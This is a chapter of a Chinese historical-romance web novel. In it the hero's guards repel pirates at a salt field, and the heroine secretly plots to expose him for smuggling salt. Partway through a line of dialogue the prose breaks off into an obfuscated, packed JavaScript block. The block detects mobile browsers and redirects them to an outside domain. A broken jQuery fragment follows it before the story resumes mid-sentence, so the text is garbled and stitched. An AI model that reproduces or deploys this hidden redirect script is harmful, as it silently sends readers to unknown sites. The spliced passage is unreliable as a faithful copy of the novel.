25. 抗倭
作品:《昭白雪》 方才还秩序井然的盐场,顷刻间沦为人人自危的修罗场。
烟尘弥漫中,隐约可见远处海岸线上有数艘快船逼近,炮火轰鸣不绝,箭矢如飞蝗般射来,已有躲避不及的兵丁被射穿在地,只留下人世间最后一声哀叫。
矮壮精悍的倭寇挥舞着长刀,嚎叫着冲杀而来,虽身着不伦不类的混搭衣物,穿着破烂的草鞋,却是奔跑迅捷、战力十足,专攻人下盘及要害,攻势阴险而高效。
混战中,先前那几个险些被杖毙的灶户吓得魂飞魄散,被绑缚着呆立原地。
一名黝黑的倭寇狞笑着举刀向他们砍去,凛凛刀光顿时吓退了那些官兵,一时溃散如鸟兽。
千钧一发之际,谢昭竟不顾身后袭来的冷箭,猛扑过去,一刀格开倭寇的兵器,将那名灶户推开:“快走!”
李清白眼睁睁看着那支冷箭擦臂飞过,划破衣襟绽开血痕,急忙冲了过去。
“谢昭!你受伤了!”
谢昭毫不在意,命两名心腹护住李清白,起身发令战斗,藏匿于帮众之中的十数名墨卫瞬间破竹而出,迅如鬼魅。
面对人员及装备劣势,他们并非结阵硬抗,而是如同早有默契般,瞬间四散开来,利用盐场复杂的地形展开反击。
堆砌如山的盐包成了最现成的掩体。两名墨卫迅速隐于盐垛之后,伏低身形,精准地斩向倭寇缺乏防护的脚踝和小腿,得手后更接连劈砍,确保目标再无还手之力。
一名落单的墨卫正面临四人围攻,只见他且战且退,退至晾晒盐巴的木架旁,猛地踹向木架支脚,整排沉重的木架连同上面湿重的盐坯轰然倒塌,劈头盖脸地砸向倭寇,瞬间将其掩埋。
另有三人有意将一小股倭寇引至盐场边缘,出其不意地扳动引海水的闸门机关,浑浊的海水裹挟着巨大的冲力奔涌而出,顿时将追在最前的两名倭寇冲得人仰马翻,后续的倭寇也被水流阻隔,攻势为之一滞。
盐耙、运盐车、甚至地上泼洒的盐水都成了他们利用的对象,趁倭人乱了阵脚,便吆喝盐场众人张弩搭箭、刀砍炮轰。
墨卫战斗力极强,配合无间,虎啸帮众人受其鼓舞,亦拼死力战。方才还凶悍得不可一世的倭寇,刹那间如同被收割的庄稼般纷纷倒地。
伤亡渐增下,倭寇头目发出怪异的呼哨,残余的倭寇向海边停泊的快船退去,甚至有些慌不择路,竟朝着缘花岛所在的位置逃窜。
停下指挥应战的元旌退到谢昭身边,将一把绿鞘蓝宝雁翎刀递给他:“爷,这是从倭人那缴来的。”
谢昭不消细看便知是自己人的东西,眺望缘花岛沉吟:“难道真是他们劫的?”
曹劲正杀得痛快,赤着脸请战:“谢爷,让我带着兄弟们冲上岛去,把他们都灭了!”
谢昭面色沉沉,抬手阻止:“穷寇莫追。清点伤亡,救治伤员吧。”
曹劲喘着粗气,看着那些沉默收队的墨卫,忍不住凑近谢昭,压低声音:“谢爷,敢问您的这些弟兄……到底是什么来路?”
谢昭浅浅瞥了他一眼,轻描淡写道:“一些江湖朋友,有些身手罢了。”
“江湖朋友?谢爷可是在说笑?我闯江湖这么多年,从未见过身手如此了得的朋友,不仅个个英勇善战,交汇相连更是无穷无尽的力量。”
谢昭投过去一个勿再多嘴的眼神,曹劲咂咂嘴,知趣地不再多问。
李清白把夏荫拉到角落耳语:“他的这些府卫,可不像寻常打手,单兵和集体作战能力强得可怕。”
夏荫点头:“与其说是府卫,更像一支军队。”
李清白后怕回忆:“我初入府那天,也是有这样的一群人,险些将那臭骂谢昭的老爷子割颈杀死。幸好隐瞒身份至今,否则估计早就做了他们的刀下鬼。”
夏荫提醒道:“你可还记得尹荣一家?那帮人极其冷酷,连遗言都不让说,逼着他们一个一个跳崖,连三岁小儿都不肯放过,如今看来,能留个全尸已是不幸中之万幸。谢昭当真是极其危险的人物。”
李清白又有些犹疑:“可谢昭昨晚和我说,他也是逼不得已才做了那些恶事,他接近许灵阶是另有目的。他虽然冷漠重利、不近人情,可他最终也没报复曹劲,方才还奋不顾身去救那素昧平生的灶户,或许……当中另有隐情也说不定呢?”
夏荫没好气道:“我的大小姐,你才和他相处多久,就被他迷昏了脑袋?他心悦你,爱慕你,才会在你面前装出一副好人模样,争取你的同情和信任,否则他有何颜面待在你身边?尹荣一家的惨案是我亲眼所见,那些坊间传闻也是空穴来风,你更愿相信我,相信世人,还是相信他的一面之词?”
李清白低着脑袋想了一会儿,想起昨夜那些缠缠绵绵的吻,顿觉羞耻不安,将头垂得更低了。
夏荫接着道:“阿白,你别忘了我们来这一趟是为了什么。剪除许灵阶的党羽、还大旻一个清平盛世,不是你一直以来的理想吗?你若信了他,也再没有以身犯险的必要了,你们既已和离,我们这就回京去。”
是啊。
不管怎么说,谢昭为虎作伥都是不争的事实。不管谢昭是什么人,从他身上入手才有机会找到证据递呈,将许党一网打尽。
她深吸一口气平复好心绪,神情坚毅道:“所以接下来我们该怎么做?”
“你看到元旌递刀了吗?倭人手里有他失踪部下的佩刀,说明劫船一事和他们脱不了干系。若我们能在谢昭行动前登上缘花岛,找到货引不符的对证,就有办法检举谢昭偷运私盐。”
谢昭本与元旌认真商议调查缘花岛一事,忽见李清白与夏荫亲昵耳语,忍不住重重咳嗽了两声。
李清白朝他看了一眼,装作无事发生,继续听夏荫讲登岛计划。
谢昭脸上微微起了怒意,走过来杵在他俩中间:“你们聊什么聊得如此兴奋?”
夏荫面不改色道:“当然是夸赞您神勇非凡了。”
见李清白一副不太想搭理他的样子,谢昭偏过身去,故意显出手臂上的伤口:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386142|181932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
念念,我们现在安全了。”
李清白完全不似方才那般急迫,冷冷回应:“是,多亏你早有准备。”
谢昭扫了一眼已对他俯首称臣的曹劲:“念念,我的盐船应是那帮倭人劫的,与虎啸帮无关,先前与曹帮主多有误会,现下已经冰释前嫌,你若还想在海陵岛上住几晚,我都依你。”
“那我要和曹帮主一起畅饮三日,阿夏陪着我。”
“我也要一起。”
“你?就你那酒量,得了吧。”
谢昭窘着脸作罢:“那好吧,我们也住在岛上,不打扰你们尽兴就是了。”
李清白不想再与他多说,拔腿去看那些灶户的伤势,却被他一把拉过。
“念念,我的事,还未与你说完。只是这里人多耳杂,不太方便。”
李清白不情不愿地被他拉到一处盐垛后,绞着手敷衍:“嗯,你说。”
谢昭注视着她,低沉的嗓音带着一丝不易察觉的疲惫:“你一直恨我替许灵阶做事,视我为伥鬼。是,我替他铲除异己,垄断盐路,双手染血,罪孽深重。”
他顿了顿,目光投向远处忙碌救治伤员的墨卫,声音更轻了几分:“其实……我本不姓谢,谢昭是我的化名。我曾与你一样,有着幸福的出身,十三岁那年,我参加乡试中解元,可还未等到会试,家中遭逢变故,祖父惨死狱中,全族流放岭南,两年后虽遇大赦,我却与全家天人永隔,包括我最疼爱的幼妹。”
“我重获了自由,也失去了人生。为了活命,我什么都做过。在码头扛过上百斤的麻包,跟野狗抢过馊了的饭食,甚至……在走投无路时,也做过些见不得光的勾当,只为了能活下去。”
“灾荒那年,我跟随难民逃到江都,从最底层的脚夫做起,一步步走过遍地血泪的盐道。再后来,因为我识字、会算账,被一名小盐商看中,替他管账、押运。也就是那时,我开始看清官商如何勾结,盐课如何层层盘剥,私盐利润又如何惊人,而那些真正产盐的灶户,却永远食不果腹。”
他的语气逐渐变得冷硬:“我也利用管账的机会,摸清了各条盐路的关节,及沿途大小官员、地头蛇的喜好弱点。我吞并了他的势力,蚕食了对手的地盘,逐步掌控了淮盐出海的关键通道。”
“十九岁那年,我终于引起了许灵阶的注意,用尽了你所能想象和不能想象的肮脏手段,几乎垄断了暴利的私盐生意,让他坐收其成,也让自己积累了足以撼动一方格局的财富和武力。”
“念念,你说得对,这的确是一场赤裸裸的利益交换——我替他做走狗,他给我权势和庇护。但我爬到这个位置,不止是为了财富和复仇。只有站在这个高度,手握这样的力量,我才有可能去做一些事情。”
他指了指远处那些形如骷髅的灶户:“比如,或许有一天,也能让他们这样的人,活得有个人样。”
李清白默默听着,突然发问:“所以呢?你究竟是谁,你原本又是谁?”
谢昭瞬时如鲠在喉。